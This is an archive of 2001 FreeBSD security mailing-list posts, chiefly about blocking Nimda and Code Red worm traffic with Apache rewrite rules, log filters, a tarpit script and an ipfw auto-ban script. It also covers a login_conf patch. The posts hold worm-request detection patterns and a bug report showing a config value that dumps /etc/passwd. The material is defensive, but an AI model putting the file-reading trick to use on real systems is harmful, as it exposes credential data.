Team Leader, Sun/Alpha Team   Internet:  Cy.Schubert@osg.gov.bc.ca
Open Systems Group, ITSD
Ministry of Management Services
Province of BC




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 17:56:59 2001
Delivered-To: freebsd-security@freebsd.org
Received: from topperwein.dyndns.org (acs-24-154-28-172.zoominternet.net [24.154.28.172])
	by hub.freebsd.org (Postfix) with ESMTP id 5019A37B439
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 17:56:55 -0700 (PDT)
Received: from topperwein.dyndns.org (topperwein.dyndns.org [192.168.168.10])
	by topperwein.dyndns.org (8.11.6/8.11.6) with ESMTP id f8O0vN252830;
	Sun, 23 Sep 2001 20:57:23 -0400 (EDT)
	(envelope-from behanna@zbzoom.net)
Date: Sun, 23 Sep 2001 20:57:18 -0400 (EDT)
From: Chris BeHanna <behanna@zbzoom.net>
Reply-To: Chris BeHanna <behanna@zbzoom.net>
To: David G Andersen <danderse@cs.utah.edu>
Cc: Chris Byrnes <chris@JEAH.net>, <security@FreeBSD.ORG>
Subject: Re: New worm protection
In-Reply-To: <200109230836.f8N8akx29012@faith.cs.utah.edu>
Message-ID: <20010923205118.Y52704-100000@topperwein.dyndns.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

On Sun, 23 Sep 2001, David G Andersen wrote:

> Lo and behold, Chris Byrnes once said:
> >
> > Has anyone written an easy-to-use ipfw rule or some kind of script that will
> > help with this new worm?
>
> Someone already pointed out disabling logging on your webserver.
>
> He also suggested a Tarpit-like approach.  I like the following
> simple script, which is what I run on my webservers.
>
> mkdir DOCROOT/scripts
> # Cover the two alternate bits as well
> ln -s DOCROOT/scripts DOCROOT/_mem_bin
> ln -s DOCROOT/scripts DOCROOT/_vti_bin
>
> cat > DOCROOT/scripts/.htaccess
> ErrorDocument 404 /scripts/nph-foo.cgi
> <EOF>
>
> cat > DOCROOT/scripts/nph-foo.cgi
> #!/usr/bin/perl
> sleep(5);
> exit(0);
> <EOF>
>
> NIMDA doesn't hang out for very long waiting for a response
> to the script headers, so a labrea-tarpit like approach won't
> actually be particularly effective.

    I had a thought that since the initial request was for a directory
listing of a Windows C: drive, that I'd give one to him.

    One byte per second.

    I don't know if NIMDA will time out after I send the initial
headers, but if not, then I could potentially tarpit one for a couple
of hours.  :-)

    The trouble with triggering ipfw/ipchain rules is that as the
ruleset gets large, network performance gets slow (rulesets are
searched linearly).  A nice compromisse would be to gather statistics
on the attackers and just firewall out the top 10 or 20 or so.

    The trouble with attempting to send a remote shutdown is that it's
illegal (breaking into someone else's machine to run a program and all).

    Of course, if you have some unused IP addresses, there is always
La Brea.  :-)

-- 
Chris BeHanna
Software Engineer                   (Remove "bogus" before responding.)
behanna@bogus.zbzoom.net
I was raised by a pack of wild corn dogs.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 18: 1:25 2001
Delivered-To: freebsd-security@freebsd.org
Received: from cage.simianscience.com (cage.simianscience.com [64.7.134.1])
	by hub.freebsd.org (Postfix) with ESMTP id 2968837B428
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 18:01:21 -0700 (PDT)
Received: from chimp.sentex.net (fcage [192.168.0.2])
	by cage.simianscience.com (8.11.6/8.11.6) with ESMTP id f8O11HS00711;
	Sun, 23 Sep 2001 21:01:17 -0400 (EDT)
	(envelope-from mike@sentex.net)
Message-Id: <5.1.0.14.0.20010923205904.03bb7bb8@192.168.0.12>
X-Sender: mdtancsa@192.168.0.12
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Sun, 23 Sep 2001 21:01:16 -0400
To: Chris BeHanna <behanna@zbzoom.net>
From: Mike Tancsa <mike@sentex.net>
Subject: Re: New worm protection
Cc: security@FreeBSD.ORG
In-Reply-To: <20010923205118.Y52704-100000@topperwein.dyndns.org>
References: <200109230836.f8N8akx29012@faith.cs.utah.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

At 08:57 PM 9/23/2001 -0400, Chris BeHanna wrote:
>     The trouble with triggering ipfw/ipchain rules is that as the
>ruleset gets large, network performance gets slow (rulesets are
>searched linearly).  A nice compromisse would be to gather statistics
>on the attackers and just firewall out the top 10 or 20 or so.


Another option is to null route the IP address-- e.g. add a /32 route to 
ds0. One problem with this and blocking in general is that in some cases, 
the infected machines are from dynamic IP addresses.  You would be 
punishing innocent users.

         ---Mike
--------------------------------------------------------------------
Mike Tancsa,                          	          tel +1 519 651 3400
Sentex Communications,     			  mike@sentex.net
Providing Internet since 1994                    www.sentex.net
Cambridge, Ontario Canada			  www.sentex.net/mike


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message


From owner-freebsd-security  Sun Sep 23 21:12:15 2001
Delivered-To: freebsd-security@freebsd.org
Received: from au.dk (au.dk [130.225.9.11])
	by hub.freebsd.org (Postfix) with ESMTP id 2611337B432
	for <security@FreeBSD.ORG>; Sun, 23 Sep 2001 21:11:30 -0700 (PDT)
Received: from localhost (localhost)
	by au.dk (8.11.4/8.11.4) id f8O3fAi21562;
	Mon, 24 Sep 2001 06:01:23 +0200 (MET DST)
Date: Mon, 24 Sep 2001 06:01:23 +0200 (MET DST)
From: Mail Delivery Subsystem <MAILER-DAEMON@au.dk>
Message-Id: <200109240401.f8O3fAi21562@au.dk>
To: <security@FreeBSD.ORG>
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="f8O3fAi21562.1001304083/au.dk"
Subject: Warning: could not send message for past 4 hours
Auto-Submitted: auto-generated (warning-timeout)
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

This is a MIME-encapsulated message

--f8O3fAi21562.1001304083/au.dk

    **********************************************
    **      THIS IS A WARNING MESSAGE ONLY      **
    **  YOU DO NOT NEED TO RESEND YOUR MESSAGE  **
    **********************************************

The original message was received at Mon, 24 Sep 2001 01:56:14 +0200 (MET DST)
from mbone.iie.cnam.fr [192.70.23.180]

   ----- The following addresses had transient non-fatal errors -----
<FARRET@DAIMI.AU.DK>

   ----- Transcript of session follows -----
<FARRET@DAIMI.AU.DK>... Deferred: Connection refused by daimi.au.dk.
Warning: message still undelivered after 4 hours
Will keep trying until message is 5 days old

--f8O3fAi21562.1001304083/au.dk
Content-Type: message/delivery-status

Reporting-MTA: dns; au.dk
Arrival-Date: Mon, 24 Sep 2001 01:56:14 +0200 (MET DST)

Final-Recipient: RFC822; FARRET@daimi.au.dk
Action: delayed
Status: 4.4.1
Remote-MTA: DNS; daimi.au.dk
Last-Attempt-Date: Mon, 24 Sep 2001 06:01:23 +0200 (MET DST)
Will-Retry-Until: Sat, 29 Sep 2001 01:56:14 +0200 (MET DST)

--f8O3fAi21562.1001304083/au.dk
Content-Type: message/rfc822

Return-Path: <security@FreeBSD.ORG>
Received: from mbone.iie.cnam.fr (mbone.iie.cnam.fr [192.70.23.180])
	by au.dk (8.11.4/8.11.4) with ESMTP id f8NNuD517047
	for <FARRET@DAIMI.AU.DK>; Mon, 24 Sep 2001 01:56:14 +0200 (MET DST)
Received: from rubis.iie.cnam.fr (smtp_relay@rubis.iie.cnam.fr [192.70.23.3])
	by mbone.iie.cnam.fr (8.9.3/8.9.3) with SMTP id CAA21526
	for <FARRET@DAIMI.AU.DK>; Mon, 24 Sep 2001 02:06:14 +0200 (MET DST)
From: security@FreeBSD.ORG
Received: by rubis.iie.cnam.fr (MX V4.2 VAX) id 23; Mon, 24 Sep 2001 02:06:08
          MET_DST
Date: Mon, 24 Sep 2001 02:06:07 MET_DST
To: freebsd-security-digest@FreeBSD.ORG
Message-ID: <00A02825.EFF8D7F0.23@rubis.iie.cnam.fr>
Subject: security-digest V5 #289

Return-Path: <owner-freebsd-security-digest@FreeBSD.ORG>
Received: from mbone.iie.cnam.fr by rubis.iie.cnam.fr (MX V4.2 VAX) with SMTP;
          Mon, 24 Sep 2001 02:06:04 MET_DST
Received: from mx2.freebsd.org (mx2.FreeBSD.org [216.136.204.119]) by
          mbone.iie.cnam.fr (8.9.3/8.9.3) with ESMTP id CAA21501 for
          <farret@iie.cnam.fr>; Mon, 24 Sep 2001 02:05:05 +0200 (MET DST)
Received: from hub.freebsd.org (hub.FreeBSD.org [216.136.204.18]) by
          mx2.freebsd.org (Postfix) with ESMTP id 9307355EDB; Sun, 23 Sep 2001
          17:04:47 -0700 (PDT) (envelope-from
          owner-freebsd-security-digest@FreeBSD.ORG)
Received: by hub.freebsd.org (Postfix, from userid 538) id 2F73A37B417; Sun, 23
          Sep 2001 17:04:38 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix)
          with SMTP id 4BF4C2E8040; Sun, 23 Sep 2001 17:04:38 -0700 (PDT)
Received: by hub.freebsd.org (bulk_mailer v1.12); Sun, 23 Sep 2001 17:04:38
          -0700
From: owner-freebsd-security-digest@FreeBSD.ORG (security-digest)
To: freebsd-security-digest@FreeBSD.ORG
Subject: security-digest V5 #289
Reply-To: security@FreeBSD.ORG
Sender: owner-freebsd-security-digest@FreeBSD.ORG
Precedence: bulk
Message-ID: <bulk.57994.20010923170438@hub.freebsd.org>
Date: Sun, 23 Sep 2001 17:04:38 -0700 (PDT)


security-digest       Sunday, September 23 2001       Volume 05 : Number 289



In this issue:
Re: ~/.login_conf disabling exact reasons wanted
Re: New worm protection
Patch for review (was Re: ~/.login_conf disabling exact reasons wanted)
Re: New worm protection 
Re: ~/.login_conf disabling exact reasons wanted
Re: New worm protection
Identify this exploit
Re: Identify this exploit
Re: Identify this exploit 
Re: New worm protection
Re: New worm protection
Re: New worm protection
Re: New worm protection
Re: New worm protection
Re: New worm protection
Re: ~/.login_conf disabling exact reasons wanted
Re: New worm protection
Re: New worm protection
Re: New worm protection
Re: Policy based routing/restricting access __inside__ ones net..
Re: New worm protection
Re: New worm protection
Re: New worm protection
Re: New worm protection
Re: Patch for review (was Re: ~/.login_conf disabling exact  reasons wanted)

----------------------------------------------------------------------

Date: Sun, 23 Sep 2001 13:38:59 +0200
From: Alexander Langer <alex@big.endian.de>
Subject: Re: ~/.login_conf disabling exact reasons wanted

Thus spake Jordan Hubbard (jkh@FreeBSD.org):

> The bug doesn't exist in 4.4 either.  It was fixed prior to release.
> Doesn't anyone read commit mail anymore?! :-(

Yes, I do, but FreeBSD was 4.4 even before it was fixed.
OTOH, the report on bugtraq also mentions, that 4.4-RELEASE isn't affected.

Alex

------------------------------

Date: Sun, 23 Sep 2001 08:07:59 -0400
From: "Jonathan M. Slivko" <jslivko@4evermail.com>
Subject: Re: New worm protection

The best kind of protection I can offer is to write a script that will scan
the apache logs and use ipfw to ban whole class C's that generate a 404.
That may be a little extreme, but it works. I will try and get a copy of the
code to you later. -- Jonathan

- ----- Original Message -----
From: "Chris Byrnes" <chris@JEAH.net>
To: <security@freebsd.org>
Sent: Thursday, September 20, 2001 10:07 AM
Subject: New worm protection


> Has anyone written an easy-to-use ipfw rule or some kind of script that
will
> help with this new worm?
>
> I have restricted Apache to just listen to my main two web IPs instead of
> all of the IPs (I have
> hundreds of domains and each of them previously had its own IP for
different
> reasons), and
> that's cut down the bandwidth use in half, but I'm still about double what
> my daily normal bandwidth
> usage is.
>
> Frustration is high, and money issues are going to surface soon.  Any help
> would be appreciated.
>
>
> Chris Byrnes, Managing Member
> JEAH Communications, LLC
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
>

------------------------------

Date: Sun, 23 Sep 2001 16:13:57 +0400
From: "Andrey A. Chernov" <ache@nagual.pp.ru>
Subject: Patch for review (was Re: ~/.login_conf disabling exact reasons wanted)

On Sat, Sep 22, 2001 at 22:58:21 +0400, Andrey A. Chernov wrote:

> I'll work on the proper fix tomorrow.


Planned for commit. Please, review and/or comment.

- --- login_cap.c.old	Sun Sep 23 16:09:04 2001
+++ login_cap.c	Sun Sep 23 16:06:19 2001
@@ -184,18 +184,17 @@
     login_cap_t	*lc;
   
     if ((lc = malloc(sizeof(login_cap_t))) != NULL) {
- -	int	    r, i = 0;
+	int         r, me, i = 0;
 	uid_t euid = 0;
 	gid_t egid = 0;
 	const char  *msg = NULL;
- -	const char  *dir = (pwd == NULL) ? NULL : pwd->pw_dir;
+	const char  *dir;
 	char	    userpath[MAXPATHLEN];
 
 	static char *login_dbarray[] = { NULL, NULL, NULL };
 
- -#ifndef _FILE_LOGIN_CONF_WORKS
- -	dir = NULL;
- -#endif
+	me = (name != NULL && strcmp(name, LOGIN_MECLASS) == 0);
+	dir = (!me || pwd == NULL) ? NULL : pwd->pw_dir;
 	/*
 	 * Switch to user mode before checking/reading its ~/.login_conf
 	 * - some NFSes have root read access disabled.
@@ -215,7 +214,7 @@
 	    if (_secure_path(userpath, pwd->pw_uid, pwd->pw_gid) != -1)
 		i++;		/* only use 'secure' data */
 	}
- -	if (_secure_path(_PATH_LOGIN_CONF, 0, 0) != -1)
+	if (me && _secure_path(_PATH_LOGIN_CONF, 0, 0) != -1)
 	    login_dbarray[i++] = _PATH_LOGIN_CONF;
 	login_dbarray[i] = NULL;
 
@@ -227,7 +226,7 @@
 
 	switch (cgetent(&lc->lc_cap, login_dbarray, (char*)name)) {
 	case -1:		/* Failed, entry does not exist */
- -	    if (strcmp(name, LOGIN_MECLASS) == 0)
+	    if (me)
 		break;	/* Don't retry default on 'me' */
 	    if (i == 0)
 	        r = -1;

- -- 
Andrey A. Chernov
http://ache.pp.ru/

------------------------------

Date: Sun, 23 Sep 2001 06:07:01 -0700
From: Greg Shenaut <greg@bogslab.ucdavis.edu>
Subject: Re: New worm protection 

In message <200109230836.f8N8akx29012@faith.cs.utah.edu>, David G Andersen cleopede:
>I like the following
>simple script, which is what I run on my webservers.
>
[script using a sleep(5) for delay purposes]
>
>NIMDA doesn't hang out for very long waiting for a response
>to the script headers, so a labrea-tarpit like approach won't
>actually be particularly effective.  The sleep(5) will slow
>it down a little bit, and the exit(0) will make it
>return with no data sent back, not even a 404.  Which
>will help a bit on the outbound bandwidth, but, of course
>won't help on the inbound.  Others have posted scripts to
>NANOG (see http://www.nanog.org/ and check the archive)
>that will automatically trigger ipfw / ipchains additions,
>but, as always, be particularly careful with those.

What would be the effect of having the web server ignore (as in,
make no response at all to) *any* attempt to GET a nonexistent
file? It seems to me that this would delay things maximally for
the attacker with the least effort at the server end.  But I
am concerned about the effect on innocent mistypers and web
crawling search engines (but not too concerned, frankly).

Greg Shenaut

------------------------------

Date: Sun, 23 Sep 2001 17:11:00 +0400
From: "Andrey A. Chernov" <ache@nagual.pp.ru>
Subject: Re: ~/.login_conf disabling exact reasons wanted

On Sat, Sep 22, 2001 at 22:58:21 +0400, Andrey A. Chernov wrote:
> 
> Sorry for all that buzz, I am finally able to reproduce it on -current.
> 

Details: there is no security hole under -current, just broken 
functionality. You can specify
copyright=/etc/passwd
with passwd output (it is broken functionality), but specifying
copyright=/etc/master.passwd
outputs nothing.

See my patch posted today fixing this.

- -- 
Andrey A. Chernov
http://ache.pp.ru/

------------------------------

Date: Sun, 23 Sep 2001 16:00:40 +0100 (BST)
From: freebsd-security@rikrose.net
Subject: Re: New worm protection

On Sun, 23 Sep 2001 ark@eltex.ru wrote:
> Is there a way to send a command to worm to shut it (or just a machine) down?
> I remember Code Red installed some kind of backdoor that allowed remote control
> without trying the whole bunch of exploits, does NIMDA have such a 'feature'?

Allegedly, yes, it installs a passwordless admin account. There is
information "out there", aparently, although, I haven't been bothered to
look it up, so I may be wrong.

- --
PGP Key: D2729A3F - Keyserver: wwwkeys.uk.pgp.net - rich at rdrose dot org
Key fingerprint = 5EB1 4C63 9FAD D87B 854C  3DED 1408 ED77 D272 9A3F
Public key also encoded with outguess on http://rikrose.net

------------------------------

Date: Sun, 23 Sep 2001 12:27:47 -0400
From: Pat Wendorf <beholder@unios.dhs.org>
Subject: Identify this exploit

I notice I get nearly 100 messages a day from my LOG_IN_VAIN rc.conf
option.  Many of which, for the past few months has been connection
attempts to TCP port 2000, as seen here:

> Connection attempt to TCP 209.226.99.101:2000 from 216.104.103.95:1169

I'm not much up on my exploits, which one is this?

- -- 

Pat Wendorf

------------------------------

Date: Sun, 23 Sep 2001 11:30:12 -0500
From: Christopher Schulte <christopher@schulte.org>
Subject: Re: Identify this exploit

At 12:27 PM 9/23/2001 -0400, Pat Wendorf wrote:
>I notice I get nearly 100 messages a day from my LOG_IN_VAIN rc.conf
>option.  Many of which, for the past few months has been connection
>attempts to TCP port 2000, as seen here:
>
> > Connection attempt to TCP 209.226.99.101:2000 from 216.104.103.95:1169
>
>I'm not much up on my exploits, which one is this?

Could be trying to exploit a wind0wz trojan exploit:

from http://www.sans.org/newlook/resources/IDFAQ/oddports.htm

port 2000 Der Sp=E4her / Der Spaeher, Insane Network

>--
>
>Pat Wendorf

- --
Christopher Schulte
christopher@schulte.org
http://noc.schulte.org

------------------------------

Date: Sun, 23 Sep 2001 09:30:22 -0700
From: Greg Shenaut <greg@bogslab.ucdavis.edu>
Subject: Re: Identify this exploit 

In message <3BAE0D83.41ACBF7B@unios.dhs.org>, Pat Wendorf cleopede:
>I notice I get nearly 100 messages a day from my LOG_IN_VAIN rc.conf
>option.  Many of which, for the past few months has been connection
>attempts to TCP port 2000, as seen here:
>
>> Connection attempt to TCP 209.226.99.101:2000 from 216.104.103.95:1169
>
>I'm not much up on my exploits, which one is this?

In my /etc/services file, port 2000 is something known as "callbook",
but I don't know what that is.

Greg Shenaut

------------------------------

Date: Mon, 24 Sep 2001 02:56:40 +1000 (EST)
From: Ian Smith <smithi@nimnet.asn.au>
Subject: Re: New worm protection

On Sun, 23 Sep 2001, David G Andersen wrote:

 > Lo and behold, Chris Byrnes once said:
 > > 
 > > Has anyone written an easy-to-use ipfw rule or some kind of script
 > > that will help with this new worm?
 > 
 > Someone already pointed out disabling logging on your webserver.

Not an option here, but it's the large number of entries in *-error.log
that I'd like to be rid of.  *-access.log I can just grep out before log
analysis, if not exclude in the analyser config.

 > He also suggested a Tarpit-like approach.  I like the following
 > simple script, which is what I run on my webservers.
 > 
 > mkdir DOCROOT/scripts
 > # Cover the two alternate bits as well
 > ln -s DOCROOT/scripts DOCROOT/_mem_bin
 > ln -s DOCROOT/scripts DOCROOT/_vti_bin
 > 
 > cat > DOCROOT/scripts/.htaccess
 > ErrorDocument 404 /scripts/nph-foo.cgi
 > <EOF>
 > 
 > cat > DOCROOT/scripts/nph-foo.cgi
 > #!/usr/bin/perl
 > sleep(5);
 > exit(0);
 > <EOF>

Cute.  Will play.  However there are other directories too; dumping
ANY request containing cmd.exe or root.exe would do it best here.

 > NIMDA doesn't hang out for very long waiting for a response
 > to the script headers, so a labrea-tarpit like approach won't
 > actually be particularly effective.  The sleep(5) will slow
 > it down a little bit, and the exit(0) will make it
 > return with no data sent back, not even a 404.  Which

But does *error.log still get hit?  I dealt with /default.ida by giving
'em a one-line one, which at least meant no error logging while reducing
response traffic by two thirds, but poring through apache docs - which I
must be too thick to find easy reading, looking for some way to provide
some short but valid response to such a range of URLs, I've not yet been
able to nut out.  Any suggestions?

 > will help a bit on the outbound bandwidth, but, of course
 > won't help on the inbound.  Others have posted scripts to
 > NANOG (see http://www.nanog.org/ and check the archive)
 > that will automatically trigger ipfw / ipchains additions,
 > but, as always, be particularly careful with those.

Will have a look at these, however carpet bombing whole /24s for the not
even deliberate misdeeds of a few (ok, plenty of) unpatched m$junk seems
rather an overreaction <&^}=

The other thing here (ie in 203/8) is the large number of unsuccessful
DNS requests for reverse mapping of particularly North Asian addresses,
often ending with Server Failures and such - but I guess misconfigured
DNS is no more surprising than zillions of compromised webservers ..

I'd love to find some way of pre-filtering these NIMDA requests and just
dropping them on the floor before apache even considered DNS lookups (?)

Ian

------------------------------

Date: Sun, 23 Sep 2001 11:03:23 -0600 (MDT)
From: David G Andersen <danderse@cs.utah.edu>
Subject: Re: New worm protection

Lo and behold, Ian Smith once said:
> 
> Not an option here, but it's the large number of entries in *-error.log
> that I'd like to be rid of.  *-access.log I can just grep out before log
> analysis, if not exclude in the analyser config.

   Disable error logging? :)

> Cute.  Will play.  However there are other directories too; dumping
> ANY request containing cmd.exe or root.exe would do it best here.

  Use mod_rewrite to redirect all accesses to that script.

RewriteEngine on
RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi

(I haven't tested this syntax.  Test it first. :)

> But does *error.log still get hit?  I dealt with /default.ida by giving
> 'em a one-line one, which at least meant no error logging while reducing
> response traffic by two thirds, but poring through apache docs - which I
> must be too thick to find easy reading, looking for some way to provide
> some short but valid response to such a range of URLs, I've not yet been
> able to nut out.  Any suggestions?

  The rewriting I specified above will do what you want.  It maps it
to a valid script request.  It'll show up in *access_log.

> I'd love to find some way of pre-filtering these NIMDA requests and just
> dropping them on the floor before apache even considered DNS lookups (?)

  I'm vaguely surprised you have reverse DNS resolution enabled.
You could make life a lot easier on yourself by switching to post-resolution
for a while, and do the DNS lookup _after_ filtering out the bogus
requests.

  -Dave

- -- 
work: dga@lcs.mit.edu                          me:  dga@pobox.com
      MIT Laboratory for Computer Science           http://www.angio.net/

------------------------------

Date: Sun, 23 Sep 2001 08:59:24 -0700 (PDT)
From: David Kirchner <davidk@accretivetg.com>
Subject: Re: New worm protection

On Mon, 24 Sep 2001, Ian Smith wrote:

> Not an option here, but it's the large number of entries in *-error.log
> that I'd like to be rid of.  *-access.log I can just grep out before log
> analysis, if not exclude in the analyser config.

The method that was mentioned would also work for ErrorLog:

ErrorLog "|grep -v cmd.exe > /normal/error_log/location"

------------------------------

Date: Sun, 23 Sep 2001 12:17:32 -0500
From: Steve Ames <steve@virtual-voodoo.com>
Subject: Re: New worm protection

One simple shell script and you can automatically add offendors
to your ipfw ruleset. Won't stop the initial probe but will stop
repeat performances.

I use the following run out of cron every minute:


#!/bin/sh
cd /root
grep cmd.exe /var/log/httpd-error.log | awk '{print $8;}' | sort -u | awk -F\] '{printf(" /sbin/ipfw add deny ip from %s to any\n ",$1);}' > l && cat /var/log/httpd-error.log >> /var/log/httpd-error.log.new && cat /dev/null > /var/log/httpd-error.log
/bin/sh l && /bin/rm l

Short and simple. Its not perfect but it has reduced my bandwidth quite a
bit.

- -Steve


On Sun, Sep 23, 2001 at 02:08:19AM -0400, Chris BeHanna wrote:
> On Thu, 20 Sep 2001, Chris Byrnes wrote:
> 
> > Has anyone written an easy-to-use ipfw rule or some kind of script that will
> > help with this new worm?
> 
>     There's La Brea, but that's probably not quite what you're looking
> for.
> 
> > I have restricted Apache to just listen to my main two web IPs
> > instead of all of the IPs (I have hundreds of domains and each of
> > them previously had its own IP for different reasons), and that's
> > cut down the bandwidth use in half, but I'm still about double what
> > my daily normal bandwidth usage is.
> 
>     As others have posted, you can tell Apache not to log certain
> requests.  That will help your logfile.
> 
>     To avoid wasting bandwidth sending a 404, you could possibly
> either use mod_rewrite or an ErrorDocument CGI script to "tarpit" the
> attacks; i.e., redirect the request to a CGI script that sets MSS to a
> few bytes (a l? La Brea), pretending to legitimately service the
> request.  Be careful:  you will have to watch the number of sockets
> you have open and the number of threads you tie up in this manner.
> Perhaps someone with more time than I have can author up a "mod_NIMDA"
> that can be configured with a max # of threads or max# connections to
> tarpit in this fashion, so that you can limit the amount of resources
> that you use.  Any inbound attacks in excess of these limits can
> simply be dropped on the floor.
> 
> > Frustration is high, and money issues are going to surface soon.
> > Any help would be appreciated.
> 
>     This is the best I can do with the time I have available.  I'm in
> the middle of combatting this problem with a proxy server that is
> under attack (for which I have access to the source).  My solution is
> to do regex parsing on the request using Boost's regex++ (see
> http://www.boost.org) to drop the requests on the floor (i.e., I'm not
> even going to dignify them with a 404), but keep a hash map of
> requesting IP addresses and number of attacks, which periodically gets
> dumped to a separate logfile.  I'd use regex() and regcmp(), but this
> also has to run on Windows.  Unfortunately, I can't share the source,
> but this description should be enough to get you going.
> 
>     Fortunately, I've seen the rate of NIMDA attacks drop by a factor
> of four over the last couple of days.  Either IIS webmasters are
> getting a clue, or their ISPs are being clueful for them (DSL.net, for
> example, is shutting off their infected customers until those
> customers demonstrate that they've fixed their servers).
> 
> -- 
> Chris BeHanna
> Software Engineer                   (Remove "bogus" before responding.)
> behanna@bogus.zbzoom.net
> I was raised by a pack of wild corn dogs.
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message

------------------------------

Date: Sun, 23 Sep 2001 10:41:06 -0700
From: Gregory Neil Shapiro <gshapiro@FreeBSD.ORG>
Subject: Re: New worm protection

smithi> Not an option here, but it's the large number of entries in
smithi> *-error.log that I'd like to be rid of.  *-access.log I can just
smithi> grep out before log analysis, if not exclude in the analyser
smithi> config.

This is what I am using:

RedirectMatch (.*)/(root.exe|cmd.exe|default.ida).* /goaway.html
SetEnvIf Request_URI "/(root.exe|cmd.exe|default.ida|goaway.html)" MSExploitCrap
CustomLog /var/log/httpd-access.log combined env=!MSExploitCrap

And then /goaway.html is just a small file:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML><HEAD><TITLE>Go away</TITLE></HEAD><BODY></BODY></HTML>

With this, nothing shows up in either httpd-access.log or httpd-error.log.

------------------------------

Date: Sun, 23 Sep 2001 13:51:44 -0400
From: The Anarcat <anarcat@anarcat.dyndns.org>
Subject: Re: New worm protection

- --AqsLC8rIMeq19msA
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 23 Sep 2001, David G Andersen wrote:

> Lo and behold, Ian Smith once said:
> >=20
> > Cute.  Will play.  However there are other directories too; dumping
> > ANY request containing cmd.exe or root.exe would do it best here.
>=20
>   Use mod_rewrite to redirect all accesses to that script.
>=20
> RewriteEngine on
> RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi
>=20
> (I haven't tested this syntax.  Test it first. :)

Nice idea! Here's what I did:

RewriteEngine on
RewriteRule .*/cmd.exe.* /nimda.txt
RewriteRule .*/root.exe.* /nimda.txt
RewriteRule .*/default.ida.* /codered.txt
RewriteRule .*/Admin.dll.* /codered.txt
RewriteRule .*\\Admin.dll.* /codered.txt

nimda.txt and codered.txt are simply empty files. This reduces the
bandwitdh used by the attack and removes the entries in error.log.

So the syntax is correct.

Note the default.ida entry for th code red worm (is that it?). I think
admin.dll is the same, but I'm not sure. Anyways, it doesn't make much
difference.

Here is a sample telnet output:

GET /default.ida HTTP/1.0

HTTP/1.1 200 OK
Date: Sun, 23 Sep 2001 17:46:27 GMT
Server: Apache/1.3.20 (Unix) mod_ssl/2.8.4 OpenSSL/0.9.6a
Last-Modified: Sun, 23 Sep 2001 17:21:20 GMT
ETag: "1d161-0-3bae1a10"
Accept-Ranges: bytes
Content-Length: 0
Connection: close
Content-Type: text/plain

- --AqsLC8rIMeq19msA
Content-Type: application/pgp-signature
Content-Disposition: inline

- -----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iEYEARECAAYFAjuuIS4ACgkQttcWHAnWiGe05QCbBGOS4Ze36RR/eGXqS+ASIIih
nwEAnAmNfOF5usyn072d8i+UreOEkpwI
=Z8qG
- -----END PGP SIGNATURE-----

- --AqsLC8rIMeq19msA--

------------------------------

Date: Sun, 23 Sep 2001 10:55:44 -0700
From: Jordan Hubbard <jkh@freebsd.org>
Subject: Re: ~/.login_conf disabling exact reasons wanted

> Yes, I do, but FreeBSD was 4.4 even before it was fixed.

FreeBSD wasn't 4.4 until it was released and all the tag sliding was
over with.

- - Jordan

------------------------------

Date: Sun, 23 Sep 2001 14:10:31 -0400
From: The Anarcat <anarcat@anarcat.dyndns.org>
Subject: Re: New worm protection

- --VrqPEDrXMn8OVzN4
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 23 Sep 2001, David G Andersen wrote:

>   Use mod_rewrite to redirect all accesses to that script.
>=20
> RewriteEngine on
> RewriteRule .*/cmd.exe.* /scripts/nph-foo.cgi
>=20
> (I haven't tested this syntax.  Test it first. :)

Unfortunatly, I tested this using a text file, which is fine. Here, if I
try using a compiled C script (instead of a perl script, faster on a
small machine), the script gets dumped in binary form! Not executed!

GET /root.exe
